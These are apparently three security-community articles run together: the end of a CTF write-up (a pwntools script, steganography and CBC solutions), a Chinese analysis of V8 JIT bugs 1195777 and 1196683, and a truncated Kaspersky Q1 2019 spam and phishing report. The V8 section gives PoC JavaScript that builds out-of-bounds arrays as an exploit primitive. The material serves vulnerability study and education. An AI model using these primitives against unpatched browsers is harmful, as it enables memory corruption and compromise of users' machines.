然后 hex 解码一下就完事了。
另外，可以根据数据库版本的语句来判断数据库类型：
Mysql `version()`、Sqlserver `@[@VERSION](https://github.com/VERSION
"@VERSION")`、Sqlite `sqlite_version()`
提示 hacker 可能是后端执行出错了，而 `sqlite_version()` 成功执行，说明是 sqlite，版本是 3.27.2。
唔，其实不用 hex 也可以的……
* * *
## Misc
### red_vs_blue
> 红队和蓝队将开展66轮对抗，你能预测出每轮对抗的结果吗？
发现他这个记录在一个 session 里是固定不变的，写个脚本记录一下，错了重试就完事了。
（就是有点麻烦，脚本写的有点丑，还调了老半天……还是太菜了，唉
"""
MiaoTony
"""
from pwn import *
import re
from time import sleep
# context.log_level = 'debug'
context.timeout = 10
# sh = remote('node4.buuoj.cn', 25451)
sh = remote('117.21.200.166', 25451)
choices = ['']*100
cnt = 0
c = 0
sh.recvuntil(
'To get the flag if you predict the results of all games successfully!\n')
retry = False
while True:
sh.recvuntil('Game ')
n = int(sh.recvuntil('\n').strip())
print('===> n:', n)
sh.recvuntil('choose one [r] Red Team,[b] Blue Team:\n')
choice = choices[n]
if choice:
retry = True
else:
choice = 'b'
retry = False
sh.sendline(choice)
for _ in range(2):
sh.recvline()
x = sh.recvline().decode()
# print('====> x:', x)
if 'successful' in x:
c = re.findall(r'The number of successful predictions (\d+)', x)
c = int(c[0])
print('=====> successful cnt:', c)
cnt += 1
choices[n] = choice
# if not retry:
# choices += choice
print('=====------------------>>> choices:', ''.join(choices))
elif 'Sorry!You are wrong!' in x:
sh.sendlineafter('Play again? (y/n): ', 'y')
choice = 'b' if choice == 'r' else 'r'
choices[n] = choice
print('=====-------->>> choices:', ''.join(choices))
cnt = 0
if cnt == 66:
break
# sleep(0.01)
sh.interactive()
### 问卷题
`DASCTF{79f3bb47a2e2d46def82c052eccb7b80}`
### ezSteganography
又是开局一张图。
Red 0 有线索
Green 平面一看就有隐写
提取得到一张图
qim quantization
> 利用 VoIP 编码器的码本编码特性划分码本来隐藏信息的方法叫做量化索引调制QIM
> 隐写：按照语音编码本来的原则将码本以某种规则划分并选择次优参数来嵌入秘密信息。
参考了 GitHub 上的
[QuantizationIndexModulation](https://github.com/pl561/QuantizationIndexModulation)
稍微改了一下
"""Implementation of QIM method from Data Hiding Codes, Moulin and Koetter, 2005"""
from __future__ import print_function
import sys
import os
# HOME = os.environ["HOME"]
import numpy as np
from PIL import Image
import matplotlib.pyplot as plt
class QIM:
def __init__(self, delta):
self.delta = delta
def embed(self, x, m):
"""
x is a vector of values to be quantized individually
m is a binary vector of bits to be embeded
returns: a quantized vector y
"""
x = x.astype(float)
d = self.delta
y = np.round(x/d) * d + (-1)**(m+1) * d/4.
return y
def detect(self, z):
"""
z is the received vector, potentially modified
returns: a detected vector z_detected and a detected message m_detected
"""
shape = z.shape
z = z.flatten()
m_detected = np.zeros_like(z, dtype=float)
z_detected = np.zeros_like(z, dtype=float)
z0 = self.embed(z, 0)
z1 = self.embed(z, 1)
d0 = np.abs(z - z0)
d1 = np.abs(z - z1)
gen = zip(range(len(z_detected)), d0, d1)
for i, dd0, dd1 in gen:
if dd0 < dd1:
m_detected[i] = 0
z_detected[i] = z0[i]
else:
m_detected[i] = 1
z_detected[i] = z1[i]
z_detected = z_detected.reshape(shape)
m_detected = m_detected.reshape(shape)
return z_detected, m_detected.astype(int)
def random_msg(self, l):
"""
returns: a random binary sequence of length l
"""
return np.random.choice((0, 1), l)
def get_flag():
delta = 20 # quantization step
qim = QIM(delta)
img = Image.open('ezSteganography-flag.png')
img = np.array(img)
# plt.imshow(img)
# plt.show()
print(img.shape)
# (1440, 2560, 3)
R, G, B = img[:, :, 0], img[:, :, 1], img[:, :, 2]
z_detected, msg_detected = qim.detect(G)
# plt.imshow(z_detected)
plt.imshow(msg_detected)
plt.show()
def main():
get_flag()
if __name__ == "__main__":
sys.exit(main())
### Nuclear wastewater
> 小明去日本旅游时，发现了一张被核废水污染过的二维码，你能从中发现什么信息吗。
写个脚本提取出每个像素的颜色，可以发现 rgb 中只有一个通道有数值。
`chr` 读一下。
from typing import Counter
from PIL import Image
img = Image.open('Nuclear wastewater.png')
print(img.size)
# (230, 230)
w, h = img.size
data = []
for i in range(0, w):
for j in range(0, h):
r, g, b = img.getpixel((i, j))
if (r, g, b) == (255, 255, 255):
continue
else:
# print(r, g, b)
for x in (r, g, b):
if x != 0:
data.append(chr(x))
# print(''.join(data))
r = Counter(data)
info = r.most_common()
print(''.join([x[0] for x in info]))
# theKEYis:#R@/&p~! 后面有一堆乱码
得到压缩包密码 `#R@/&p~!`，里面内容为
OIENKMAJOLEOKMAJOHECLHBCPGFDLNBIPAFFLPBKPIFNLEBBPPFKLFBAPEFBLJBMPHFCLEBBPMFJLEBBPLFOLHBCPCFHLNBIPDFGLHBCPPFKLIBNPHFCLDBGPGFDLBBEPPFKLHBCPPFKLMBJPDFGLCBHPHFCLBBEPIFNLNBIPOFLLMBJPDFGLBBEPEFBLBBEPPFKLGBDPOFLLABFPMFJLABFPCFHLNBIPDFGLMBJPEFBLIBNPHFCLLBOPOFLLBBEPIFNLDBGPAFFKAAFOPEKKDAGOGEDKJAMOAEFKLAOOIENLIBNPEFBLLBOPJFMLFBAPLFOLFBAPNFILEBBPLFOLFBAPAFFLJBMPHFCLJBMPBFELIBNPHFCLIBNPNFILBBEPPFKKPAKOHECKMAJOAEFKKAPOIENKFAAOLEOKHACOPEKKAAFOPEKKAAFOFEAKJAMOHECKLAOODEGKMAJOAEFKPAKONEIKBAEOIENKAAFODEGKAAFOPEKKLAOOOELKJAMOAEFKGADOFEAKEABOLEOKOALOLEOKJAMOAEFKIANOLEOKIANOEEBKFAAOHECKBAEOIENKJAMOKEPKMAJPMFJLCBHPEFBLNB
可以发现有零宽字符隐写，包含了 200c 200d 200e
<http://330k.github.io/misc_tools/unicode_steganography.html>
Citrix CTX1 decode
* * *
## Crypto
### Yusa的密码学签到——BlockTrick
题目源码
from Crypto.Cipher import AES
import os
def pad(a):
size = (16-len(a)%16)%16
a += chr(size)*size
return a
iv = os.urandom(16)
key = os.urandom(16)
enc = AES.new(key,AES.MODE_CBC,iv)
print(iv.encode('hex'))
for _ in range(2):
try:
trick = raw_input("")
trick = pad(trick.decode('hex'))
cipher = enc.encrypt(trick)
if trick == cipher and trick != "" :
with open("flag.txt") as f:
print(f.read())
exit()
else:
print(cipher.encode('hex'))
print("Try again")
except:
exit()
AES MODE_CBC，需要加密前后的结果相同且不为空。可以参考 [CBC
的原理框图](https://zh.wikipedia.org/wiki/%E5%88%86%E7%BB%84%E5%AF%86%E7%A0%81%E5%B7%A5%E4%BD%9C%E6%A8%A1%E5%BC%8F)。
这里就是两轮 CBC，只需要把发过来的再返回去两次就完事了。
原理大概是，第一次将初始向量 IV 与自己进行异或，得到一组零向量，把经过 CBC 后得到的 cipher
再与本身异或也是得到零向量，而这个加密器可以看作一种输入到输出的映射，对于同样的零向量输入，结果就一样了。
* * *
## 小结
这篇写得好累啊……
其实还是挺有味道的，学到了不少。
喵喵是 fw，喵呜呜呜（
欢迎各位大师傅来 [咱博客](https://miaotony.xyz/?utm_source=anquanke) 逛逛喵
_（溜了溜了喵_ | 社区文章 |
# v8漏洞学习之issue1195777&issue1196683
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前段时间曝光了两个v8引擎的漏洞，这里记录一下自己对这两个漏洞的学习。
## 1195777
### poc:
function foo(b){
let y = (new Date(42)).getMilliseconds();
let x = -1;
if(b) x = 0xFFFF_FFFF;
let c = Math.max(0, x , -1);
return -1 < c;
}
console.log(foo(true));
console.log(foo(false));
for(i=0;i<0x10000;i++)
foo(false);
console.log(foo(true));
### Root case：
先简单描述一下漏洞的发生：
当b是true时，x = 0xFFFF_FFFF；
在Math.max中，x的类型为kword64，此时他是一个无符号数，值为0xFFFF_FFFF，所以在max进行比较时自然是比0或-1大的，所以运算的结果将会返回0xFFFF_FFFF，但是在下面一行代码处：-1
< c，jit时这里会添加一个将word64截断为int32的节点，此时0xFFFF被识别为有符号数为-1，所以变成了-1<-1,返回false。
接下来我们就详细来分析一下这个导致漏洞的截断是如何产生的：
上篇文章中提到过Simplified lowering主要分为三个阶段：
- The truncation propagation phase (RunTruncationPropagationPhase)
- 反向数据流分析，传播truncations，并设置restriction_type。
- The type propagation phase (RunTypePropagationPhase)
- 正向数据流分析，根据feedback_type重新计算type信息。
- The lowering phase (Run, after calling the previous phases)
- 降级nodes
- 插入conversion nodes
void Run(SimplifiedLowering* lowering) {
GenerateTraversal();
RunPropagatePhase();
RunRetypePhase();
RunLowerPhase(lowering);
}
上篇文章主要讨论了TruncationPropagationPhase、TypePropagationPhase和lowering
phase中降级nodes的内容，对于插入conversion nodes只是一笔带过，下面我们就来通过1195777来看一下这部分内容：
对于这个漏洞来说主要要分析第三个阶段，也就是lower阶段，在该阶段主要会进行下面的出操作：
* 将节点本身lower到更具体的节点(通过DeferReplacement)
* 当该节点的的output representation与此输入的预期使用信息不匹配时，对节点进行转换(插入 ConvertInput)。
我们这里的截断TruncateInt64Toint32就是通过插入ConvertInput来生成的
下面是Simplified
lowering之前的ir图，和上面的图片比较可以很明显的看出NumberMax降低为了Int64LessThan+Select，SpeculativeNumberLessThan降低为了Int32LessThan。
我们这里重点分析插入ConvertInput的内容，这里简单总结一下调用链：
VisitNode->VisitBinop->ProcessInput->ConvertInput->GetRepresentationFor->GetWord32RepresentationFor
在GetRepresentationFor函数中触发漏洞代码添加TruncateInt64ToInt32()
具体代码：
case IrOpcode::kSpeculativeNumberLessThan:
case IrOpcode::kSpeculativeNumberLessThanOrEqual:
case IrOpcode::kSpeculativeNumberEqual: {
........
// Try to use type feedback.
NumberOperationHint hint = NumberOperationHintOf(node->op());
switch (hint) {
case NumberOperationHint::kSigned32:
case NumberOperationHint::kSignedSmall:
if (propagate<T>()) {
......
} else {
DCHECK(lower<T>());
Node* lhs = node->InputAt(0);
Node* rhs = node->InputAt(1);
if (IsNodeRepresentationTagged(lhs) &&
IsNodeRepresentationTagged(rhs)) {
.....
} else {
VisitBinop<T>(node,
CheckedUseInfoAsWord32FromHint(
hint, FeedbackSource(), kIdentifyZeros),
MachineRepresentation::kBit);
ChangeToPureOp(node, Int32Op(node));
}
}
return;
在VisitNode中对于kSpeculativeNumberLessThan节点我们会走到上面的else分支的代码处：
首先是CheckedUseInfoAsWord32FromHint这个函数：
UseInfo CheckedUseInfoAsWord32FromHint(
NumberOperationHint hint, IdentifyZeros identify_zeros = kDistinguishZeros,
const FeedbackSource& feedback = FeedbackSource()) {
switch (hint) {
case NumberOperationHint::kSignedSmall:
case NumberOperationHint::kSignedSmallInputs:
return UseInfo::CheckedSignedSmallAsWord32(identify_zeros, feedback);
.......
}
UNREACHABLE();
}
static UseInfo CheckedSignedSmallAsWord32(IdentifyZeros identify_zeros,
const FeedbackSource& feedback) {
return UseInfo(MachineRepresentation::kWord32,
Truncation::Any(identify_zeros), TypeCheckKind::kSignedSmall,
feedback);
}
在这里对当前节点的useinfo做了设置，将representation
_设置为了MachineRepresentation::kWord32，truncation_ 为Truncation::Any，type _check_
为TypeCheckKind::kSignedSmall。
我们接着来看VisitNode：
template <Phase T>
void VisitBinop(Node* node, UseInfo left_use, UseInfo right_use,
MachineRepresentation output,
Type restriction_type = Type::Any()) {
DCHECK_EQ(2, node->op()->ValueInputCount());
ProcessInput<T>(node, 0, left_use);
ProcessInput<T>(node, 1, right_use);
for (int i = 2; i < node->InputCount(); i++) {
EnqueueInput<T>(node, i);
}
SetOutput<T>(node, output, restriction_type);
}
这里他对左右input节点调用了ProcessInput，它是一个模板函数，根据不同的phase调用不同的实现，这里我们是lower阶段，我们去看他的实现：
template <>
void RepresentationSelector::ProcessInput<LOWER>(Node* node, int index,
UseInfo use) {
DCHECK_IMPLIES(use.type_check() != TypeCheckKind::kNone,
!node->op()->HasProperty(Operator::kNoDeopt) &&
node->op()->EffectInputCount() > 0);
ConvertInput(node, index, use);
}
可以看到他调用了ConvertInput来对节点进行转换：
下面我们主要分析他的右输入节点Select。
void ConvertInput(Node* node, int index, UseInfo use,
Type input_type = Type::Invalid()) {
// In the change phase, insert a change before the use if necessary.
if (use.representation() == MachineRepresentation::kNone)
return; // No input requirement on the use.
Node* input = node->InputAt(index);
DCHECK_NOT_NULL(input);
NodeInfo* input_info = GetInfo(input);
MachineRepresentation input_rep = input_info->representation();
if (input_rep != use.representation() ||
use.type_check() != TypeCheckKind::kNone) {
// Output representation doesn't match usage.
TRACE(" change: #%d:%s(@%d #%d:%s) ", node->id(), node->op()->mnemonic(),
index, input->id(), input->op()->mnemonic());
TRACE("from %s to %s:%s\n",
MachineReprToString(input_info->representation()),
MachineReprToString(use.representation()),
use.truncation().description());
if (input_type.IsInvalid()) {
input_type = TypeOf(input);
}
Node* n = changer_->GetRepresentationFor(input, input_rep, input_type,
node, use);
node->ReplaceInput(index, n);
}
}
这里我们简单调试一下来验证下上面的分析：
pwndbg> p *(NodeInfo*) input_info
$9 = {
state_ = v8::internal::compiler::RepresentationSelector::NodeInfo::kVisited,
representation_ = v8::internal::MachineRepresentation::kWord64,
truncation_ = {
kind_ = v8::internal::compiler::Truncation::TruncationKind::kAny,
identify_zeros_ = v8::internal::compiler::kIdentifyZeros
},
restriction_type_ = {
payload_ = 4294967295
},
feedback_type_ = {
payload_ = 94342976602408
},
weakened_ = false
}
pwndbg> p (UseInfo) use
$10 = {
representation_ = v8::internal::MachineRepresentation::kWord32,
truncation_ = {
kind_ = v8::internal::compiler::Truncation::TruncationKind::kAny,
identify_zeros_ = v8::internal::compiler::kIdentifyZeros
},
type_check_ = v8::internal::compiler::TypeCheckKind::kSignedSmall,
feedback_ = {
vector = {
<v8::internal::HandleBase> = {
location_ = 0x0
}, <No data fields>},
slot = {
static kInvalidSlot = -1,
id_ = -1
}
}
}
这里use的info就是刚才CheckedUseInfoAsWord32FromHint中设置的内容。而
input_info是该节点（SpeculativeNumberLessThan）的右输入节点Select的NodeInfo。
这里插入一下select节点的由来，在NumberMax节点的lower阶段，会通过DoMax来降低节点为Int64LessThan+Select，注意此时设置了representation_为MachineRepresentation::kWord64
case IrOpcode::kNumberMax: {
Type const lhs_type = TypeOf(node->InputAt(0));
Type const rhs_type = TypeOf(node->InputAt(1));
......
} else if (jsgraph_->machine()->Is64() &&
lhs_type.Is(type_cache_->kSafeInteger) &&
rhs_type.Is(type_cache_->kSafeInteger)) {
VisitInt64Binop<T>(node);
if (lower<T>()) {
lowering->DoMax(node, lowering->machine()->Int64LessThan(),
MachineRepresentation::kWord64);
}
} else {
.....
}
return;
}
根据调试信息和上面的代码可以很明显的看出这个判断input_rep != use.representation() 是满足的，也就是该节点的的output
representation与他输入节点的预期使用信息不匹配，所以接下来就会调用GetRepresentationFor去添加转换。
并且添加的Convert可以通过添加—trace-representation这个flag来查看：
下面就是对SpeculativeNumberLessThan的两个输入节点#34和#81的转换结果：
visit #61: SpeculativeNumberLessThan
change: #61:SpeculativeNumberLessThan(@0 #34:NumberConstant) from kRepTaggedSigned to kRepWord32:no-truncation (but identify zeros)
change: #61:SpeculativeNumberLessThan(@1 #81:Select) from kRepWord64 to kRepWord32:no-truncation (but identify zeros)
我们接着往下看：
这里判断了use_info.representation(),也就是上面p (UseInfo)
use中的MachineRepresentation::kWord32，所以最终将会调用GetWord32RepresentationFor函数。
Node* RepresentationChanger::GetRepresentationFor(
Node* node, MachineRepresentation output_rep, Type output_type,
Node* use_node, UseInfo use_info) {
switch (use_info.representation()) {
....
case MachineRepresentation::kWord8:
case MachineRepresentation::kWord16:
case MachineRepresentation::kWord32:
return GetWord32RepresentationFor(node, output_rep, output_type, use_node,
use_info);
....
}
}
这里我们需要看几个参数：output_rep它就是上面的input_rep，也就是select的representation；output_type的由来如下：
if (input_type.IsInvalid()) {
input_type = TypeOf(input);
}
Type TypeOf(Node* node) {
Type type = GetInfo(node)->feedback_type();
return type.IsInvalid() ? NodeProperties::GetType(node) : type;
}
也就是获取了select的feedback_type即Type::Unsigned32。
根据上面的描述我们可以得知他满足if (output_rep ==
MachineRepresentation::kWord64)和output_type.Is(Type::Unsigned32())这两个判断，所以他就会添加TruncateInt64ToInt32()。
这里直接放了补丁代码方便比较：
@@ -949,10 +949,10 @@
return node;
} else if (output_rep == MachineRepresentation::kWord64) {
if (output_type.Is(Type::Signed32()) ||
- output_type.Is(Type::Unsigned32())) {
- op = machine()->TruncateInt64ToInt32();
- } else if (output_type.Is(cache_->kSafeInteger) &&
- use_info.truncation().IsUsedAsWord32()) {
+ (output_type.Is(Type::Unsigned32()) &&
+ use_info.type_check() == TypeCheckKind::kNone) ||
+ (output_type.Is(cache_->kSafeInteger) &&
+ use_info.truncation().IsUsedAsWord32())) {
op = machine()->TruncateInt64ToInt32();
} else if (use_info.type_check() == TypeCheckKind::kSignedSmall ||
use_info.type_check() == TypeCheckKind::kSigned32 ||
以上就是漏洞产生的一个流程。
之后我们稍微修改下poc，依旧是使用arr.shift trick来构造oob array：
function foo(b) {
let x = -1;
if (b) x = 0xFFFF_FFFF;
let c = Math.max(0, x) - 1;
c = -c;
c = Math.max(c, 0);
c -= 1;
var arr=new Array(c);
arr.shift();
var cor = [1.1,1.2,1.3];
return [arr, cor];
}
for(var i=0;i<0x3000;++i)
foo(false);
var x = foo(true);
var arr = x[0];
var cor = x[1];
console.log(arr.length);
简单分析一下poc：
let c = Math.max(0, x) – 1;
ir图如下：
此处是在max结点和sub结点直接的截断触发了漏洞。
这将导致实际值为-2，而推测值为Range(-1,4294967294)；
c = 0-c; 实际值2，推测范围Range(-4294967294,1)
c = Math.max(c, 0);//实际值2，推测范围Range(0,1)
c -= 1;//实际值1，推断范围Range(-1，0）
ir图如下：
通过运算构造出oob所需要的格式这样就可以配合arr.shift();创建出长度为-1的arry，即可用它来oob。
篇幅有限，这里先简单写一下arr.shift这个trick，之后在做详细分析（留个坑）。
这是trick的伪代码形式：
let limit = kInitialMaxFastElementArray; // limit : NumberConstant[16380]
// len : Range(-1, 0), real: 1
let checkedLen = CheckBounds(len, limit); // checkedLen : Range(0, 0), real: 1 let arr = Allocate(kArraySize);
StoreField(arr, kMapOffset, map);
StoreField(arr, kPropertyOffset, property);
StoreField(arr, kElementOffset, element);
StoreField(arr, kLengthOffset, checkedLen);
let length = checkedLen;
// length: Range(0, 0), real: 1
if (length != 0) {
if (length <= 100) {
DoShiftElementsArray();
/* Update length field */ StoreField(arr, kLengthOffset, -1);
}
else /* length > 100 */
{
CallRuntime(ArrayShift);
}
}
可以对照ir图：load elimination阶段之后将length折叠为了常数-1
这样我们就得到了一个长度为-1（0xffffffff）的越界array，之后的利用就是常规的oob利用写法了。
## 1196683
### poc
const arr = new Uint32Array([2**31]);
function foo() {
return (arr[0] ^ 0) + 1;
}
%PrepareFunctionForOptimization(foo);
print(foo());
%OptimizeFunctionOnNextCall(foo);
print(foo());
执行结果：
-2147483647
2147483649
### 基础补充—整数扩展
当你将一个较窄类型转换为另一个更宽的类型时，机器会按位将旧的变量复制到新的变量，然后将其他的高位设为0或者1.
* 如果源类型是无符号的，机器就会使用零扩展(zero extension)，也就是在宽类型中将剩余高位设为0.
* 如果源类型是带符号的，机器就会使用符号位扩展(sign extension)，也就是将宽类型剩余未使用位设为源类型中符号位的值。
## root cause
poc代码很少只有一行(arr[0] ^ 0) + 1
老样子我们先简单介绍一下这个漏洞的产生过程：
arr[0]是unsigned int32，他的值由2 _*31计算得来：(2\_ *31) = 2147483648 = 0x80000000
之后arr[0] ^ 0会转成signed int32，(2**31\^0 = 0x8000 0000 = -2147483648)
接着(arr[0] ^ 0) + 1会转成signed int64。
上面也提到了对于有符号数的整数扩展应该选用符号位扩展，最终得到0xFFFFFFFF80000000，然后再加一，得到0xFFFFFFFF80000001 =
-2147483647，但因为JIT的x64指令选择存在漏洞，所以在为ChangeInt32ToInt64
IR生成汇编时会对0x80000000进行零拓展，得到0x0000000080000000，然后再加一，得到0x0000000080000001 =
2147483649。
下面我们根据ir图来进行分析：
typer阶段：
simplifed lowering阶段：
EarlyOptimization阶段：
可以看到在这里xor被优化为了LoadTypedElement，我们从源码来看看发生了什么：
template <typename WordNAdapter>
Reduction MachineOperatorReducer::ReduceWordNXor(Node* node) {
using A = WordNAdapter;
A a(this);
typename A::IntNBinopMatcher m(node);
if (m.right().Is(0)) return Replace(m.left().node()); // x ^ 0 => x
if (m.IsFoldable()) { // K ^ K => K (K stands for arbitrary constants)
return a.ReplaceIntN(m.left().ResolvedValue() ^ m.right().ResolvedValue());
}
if (m.LeftEqualsRight()) return ReplaceInt32(0); // x ^ x => 0
if (A::IsWordNXor(m.left()) && m.right().Is(-1)) {
typename A::IntNBinopMatcher mleft(m.left().node());
if (mleft.right().Is(-1)) { // (x ^ -1) ^ -1 => x
return Replace(mleft.left().node());
}
}
return a.TryMatchWordNRor(node);
}
再回头看下上图，我们Word32Xor的两个输入节点分别为loadtypedelement和0，满足代码中的m.right().Is(0)，所以这里会执行：Replace(m.left().node());将Word32Xor替换为了他的左输入节点，于是出现了上图中Word32Xor被替换为了LoadTypedElement的结果。
我们接下来就去分析一下这个指令是如何错误使用了零拓展：
case MachineRepresentation::kWord32:
- opcode = load_rep.IsSigned() ? kX64Movsxlq : kX64Movl;
+ // ChangeInt32ToInt64 must interpret its input as a _signed_ 32-bit
+ // integer, so here we must sign-extend the loaded value in any case.
+ opcode = kX64Movsxlq;
从补丁可以看出，存在漏洞的逻辑是根据`load_rep.IsSigned()`来选择opcode是kX64Movsxlq还是kX64Movl指令，前者是符号拓展，后者是零拓展。
这里的load_rep.IsSigned将会获取loadtypedelement的类型也就是Unsigned，所以最终将会选择零拓展也就是kX64Movl。最终导致了上面说的0x0000000080000001
= 2147483649这个结果的产生。
接下来去构造oob poc来进行下一步的利用了：
这里我们依旧使用了array.shift这个trick
修改后的oob poc：
const _arr = new Uint32Array([2**31]);
function foo(a) {
var x = 1;
x = (_arr[0] ^ 0) + 1; //推测值：range(-2147483647,2147483648) , 实际值 2147483649
x = Math.abs(x); //推测值：range(0,2147483648) , 实际值 2147483649
x -= 2147483647; //推测值：range(-2147483647,1) , 实际值 2
x = Math.max(x, 0); //推测值：range(0,1) , 实际值 2
x -= 1; //推测值：range(-1,0) , 实际值 1
if(x==-1) x = 0;
var arr = new Array(x);
arr.shift();
var cor = [1.1, 1.2, 1.3];
return [arr, cor];
}
for(var i=0;i<0x3000;++i)
foo(true);
var x = foo(false);
console.log(x[0].length)
这样我们就得到了一个长度为-1（0xffffffff）的越界array，之后的利用就是常规的oob利用写法了。
#### 参考链接
* <https://github.com/r4j0x00/exploits/tree/master/chrome-0day>
* <https://iamelli0t.github.io/2021/04/20/Chromium-Issue-1196683-1195777.html#rca-of-issue-1195777> | 社区文章 |
# 卡巴斯基 - 2019年Q1垃圾邮件与钓鱼攻击统计分析
|
##### 译文声明
本文是翻译文章，文章原作者 securelist，文章来源：securelist.com
原文地址：<https://securelist.com/spam-and-phishing-in-q1-2019/90795/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
在2019年第一季度，垃圾邮件在全球电子邮件流量中的平均占比略微增长了0.06个百分点，达 55.97%。
卡巴斯基反钓鱼系统共阻止了111,832,308 个将用户重定向至钓鱼网站的攻击尝试，比前一报告期内（2018年第四季度）增长了35,220,650。
一如既往，攻击者继续利用高调的全球媒体事件实施钓鱼攻击，例如苹果新产品发布、新西兰恐怖袭击等。Sextortion诈骗也没有消失，为了使得骗局更可信，犯罪分子想出了许多新招进行伪装。
最重要的是，攻击者继续利用社交媒体来达成目的，并且利用名人的广告效应来扩大其影响范围。
## 二、垃圾邮件统计
### 2.1 垃圾邮件流量
2018年Q4 – 2019年Q1，垃圾邮件占全球邮件流量中的比例
在2019年第一季度，3月份的垃圾邮件最多，占全球邮件总流量的56.33%。本季度的平均数字是55.97%，与2018年第四季度相比几乎没有变化（略微增长了0.07个百分点）。
2018年Q4 – 2019年Q1，俄罗斯互联网(Runet)中垃圾邮件流量的占比
俄罗斯互联网中垃圾邮件流量的高峰出现在1月份（56.19%）。本季度的平均值为55.48%，与2018年Q4相比增长了2.01个百分点。
### 2.2 是谁在发垃圾邮件？
2019年Q1，垃圾邮件源分布（国家/地区）
按照以往的惯例，中国（15.82%）是最大的垃圾邮件来源地区，其次是美国（12.64%）。Top
3常客德国（5.86%）本季度下降至第五，将第三名拱手相让给俄罗斯（6.98%）。巴西（6.95%）来到了第四，第六是法国（4.26%），后面依次是阿根廷（3.42%）、波兰（3.36%）和印度（2.58%）。越南（2.18%）跌出了榜单。
### 2.3 垃圾邮件大小
2018年Q4 – 2019年Q1，垃圾邮件大小分布
在2019年第一季度，超小型垃圾邮件（不超过2KB）的数量最多，其占比相比2018年第四季度增长了7.14个百分点，达73.98%。
2-5KB之间的垃圾邮件下降了3.15个百分点，至8.27%。
10-20KB的垃圾邮件增长了1.08个百分点，达5.11%。
20-50KB的垃圾邮件增长了0.32个百分点，达3.00%。
### 2.4 附件中的恶意软件家族
2019年Q1，垃圾邮件中的恶意软件家族Top10
在2019年第一季度，垃圾邮件中最常见的恶意软件是Exploit.MSOffice.CVE-2017-11882，占比为7.73%。其次是Backdoor.Win32.Androm（7.62%）和Worm.Win32.WBVB（4.80%）。第四名是另一个Microsoft
Office漏洞利用Exploit.MSOffice.CVE-2018-0802，其占比为（2.81%）。第五是Trojan-Spy.Win32.Noon（2.42%）。
### 2.5 垃圾邮件都发给了谁？
2019年Q1，垃圾邮件的目标国家/地区分布
根据卡巴斯基Mail Anti-Virus系统的统计数据，德国（11.88%）蝉联榜首，其次是越南（6.24%）和俄罗斯（5.70%）。
## 三、钓鱼攻击统计
在2019年第一季度，卡巴斯基反钓鱼系统共阻止了111,832,308个将用户重定向至钓鱼网站的攻击尝试。在全球范围内，约有12.11%的卡巴斯基用户遭到钓鱼攻击。
### 3.1 地理分布
与上一季度相比，2019年第一季度遭受钓鱼攻击的用户比例最高的国家是巴西（21.66%，增长了1.53个百分点）。
2019年Q1，钓鱼攻击的地理分布
排在第二的是澳大利亚（17.20%，增长了2.42个百分点，但仍比第一名巴西少了4.46个百分点），上一季度它还只排在第八。
西班牙（16.96%，增长了0.87个百分点）上升了一位，排在第三，但也仅比第四葡萄牙（16.86%）和第五委内瑞拉（16.72%）高一点点。
国家
|
%*
---|---
巴西
|
21.66
澳大利亚
|
17.20
西班牙
|
16.96
葡萄牙
|
16.81
委内瑞拉
|
16.72
希腊
|
15.86
阿尔巴尼亚
|
15.11
厄瓜多尔
|
14.99
卢旺达
|
14.89
格鲁吉亚
|
14.76
*根据卡巴斯基反钓鱼系统的统计数据，受钓鱼攻击用户占该国家/地区所有用户的比例
### 3.2 受攻击企业分析
本季度银行业受到的钓鱼攻击数量仍为最多 – 针对信贷机构的攻击比例与去年第四季度相比增长了5.23个百分点，达27.78％。
2019年Q1，遭到钓鱼攻击的企业类别分布
第二名是全球互联网门户网站（19.82%），支付系统（17.33%）排在第三（该类别中也包含金融机构）。
## 四、季度钓鱼主题
### 4.1 情人节
按照传统，情人节期间的钓鱼攻击主要针对鲜花商店的网上店铺、约会网站等，旨在窃取有价值的机密信息，例如银行卡信息等。
大多数情况下，钓鱼邮件/网站都会邀请用户为其情人购买礼品（也可能是伟哥）。
### 4.2 苹果3月新品发布会
3月底苹果举办了新品发布会，犯罪分子像往常一样直扑主题。在发布会举办之前，将用户重定向至模拟苹果官网服务的钓鱼网站的攻击次数大幅增长。一些钓鱼邮件伪装成来自苹果服务，试图欺骗用户在虚假网站上输入Apple
ID凭据。
（苹果发布会前）将用户重定向至相关钓鱼网站的攻击次数
### 4.3 技术支持骗局
技术支持类诈骗是最流行的在线欺诈骗局之一。最近这种骗局的数量大大增加，在一些论坛和社交网络上都可以看到虚假技术支持类网站的链接（往往还好评如潮）。第一季度中卡巴斯基检测到的所有技术支持诈骗账户都有一个共同点：它们在与另一个公司产品相关的事务上提供帮助，并承诺提供高质量的服务。当然，它们也都是收费的。
虚假的卡巴斯基技术支持账户
### 4.4 在Instagram上发布虚假广告
去年卡巴斯基发现钓鱼攻击者已经不限于邮件，还进入了社交网络（例如Instagram），现在这一趋势仍在继续。
钓鱼攻击者充分利用Instagram提供的服务，不仅是在评论中散布钓鱼网站链接，还注册相关账户，向平台支付广告费用，甚至诱使名人转发其发布的内容。
同样，攻击者承诺提供高质量的产品或服务，而且价格还十分诱人。当然，需要买方提供从姓名到银行卡数据等信息。毫无疑问，这也正是它们的目标。
Instagram上的帐篷大促销
### 4.5 自动清算系统ACH虚假通知
在第一季度，卡巴斯基观察到针对自动清算系统（ACH）用户的垃圾邮件数量大幅增长。该系统是一个用于处理消费者和小企业交易往来的美国电子支付系统。这类垃圾邮件伪装成普通用户或公司的转账通知，但往往包含恶意附件或恶意文件的下载链接。
### 4.6 广告邮件
一些钓鱼服务伪装成合法服务的自动通知，试图欺骗用户相信它们的账户需要通过邮件中的链接进行验证或更新支付信息。一些虚假网站使用类似于合法服务的域名，还有一些则是弹出一个虚假的身份验证表格。
### 4.7 工作offer
求职似乎是一个永恒不变的钓鱼主题。攻击者伪装成知名公司，邀请钓鱼邮件的收件人安装一个免费的求职注册系统。当用户尝试从“云服务”中下载该软件时，则会得到一个包含Trojan.MSOffice.SAgent.gen的恶意文档，进而被安装Trojan-Banker.Win32.Gozi.bqr。
### 4.8 勒索软件及恶意矿工
